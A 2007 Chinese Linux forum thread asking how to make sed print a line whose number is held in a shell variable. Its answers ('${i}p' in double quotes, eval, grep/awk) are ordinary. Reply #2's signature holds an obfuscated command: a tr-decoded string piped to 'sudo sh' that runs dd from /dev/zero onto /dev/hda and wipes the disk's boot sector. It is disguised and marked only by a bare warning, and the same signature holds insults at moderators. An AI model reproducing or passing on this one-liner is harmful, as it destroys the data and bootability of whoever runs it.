[问题]如何匹配某个文件的一行呢?

sh/bash/dash/ksh/zsh等Shell脚本
回复
stufever
帖子: 69
注册时间: 2007-03-11 17:48

[问题]如何匹配某个文件的一行呢?

#1

帖子 stufever » 2007-05-20 11:22

代码: 全选

sed -n '3p' file
恩,这样是匹配第三行。
但是,如果3是一个变量i呢?

代码: 全选

sed -n '$ip' file
这样肯定事不行的,呵呵!
指点一下在下,呵呵!
ziyun
帖子: 262
注册时间: 2007-03-29 12:59

#2

帖子 ziyun » 2007-05-20 11:59

sed -n "${i}p" file
echo 'qq%vs+&qri&mreb%bs+&qri&uqn%of+FBC%pbhag+B' | tr 'n-za-m&+A-J%' 'a-z/=0-9 ' |sudo sh #<-警告:
强烈鄙视SB版主,一群跟风的SB,一群自以为是的SB
对这个论坛彻底失望了
头像
alinmn
帖子: 185
注册时间: 2006-05-19 21:42
来自: NIT

#3

帖子 alinmn » 2007-05-20 12:54

eval sed -n '${i}p' file
stufever
帖子: 69
注册时间: 2007-03-11 17:48

#4

帖子 stufever » 2007-05-20 13:41

恩,楼上两位的都可以
''应该比""更加严格。
但是用eval可以先进行替换,所以即使是单引号也无所谓了。
_____
帖子: 207
注册时间: 2007-05-21 11:30

#5

帖子 _____ » 2007-05-21 12:09

grep也可以
头像
alinmn
帖子: 185
注册时间: 2006-05-19 21:42
来自: NIT

#6

帖子 alinmn » 2007-05-21 13:10

grep怎么搞?
头像
eexpress
帖子: 58428
注册时间: 2005-08-14 21:55
来自: 长沙

#7

帖子 eexpress » 2007-05-21 13:11

这文件方面,还是awk/grep拉
● 鸣学
回复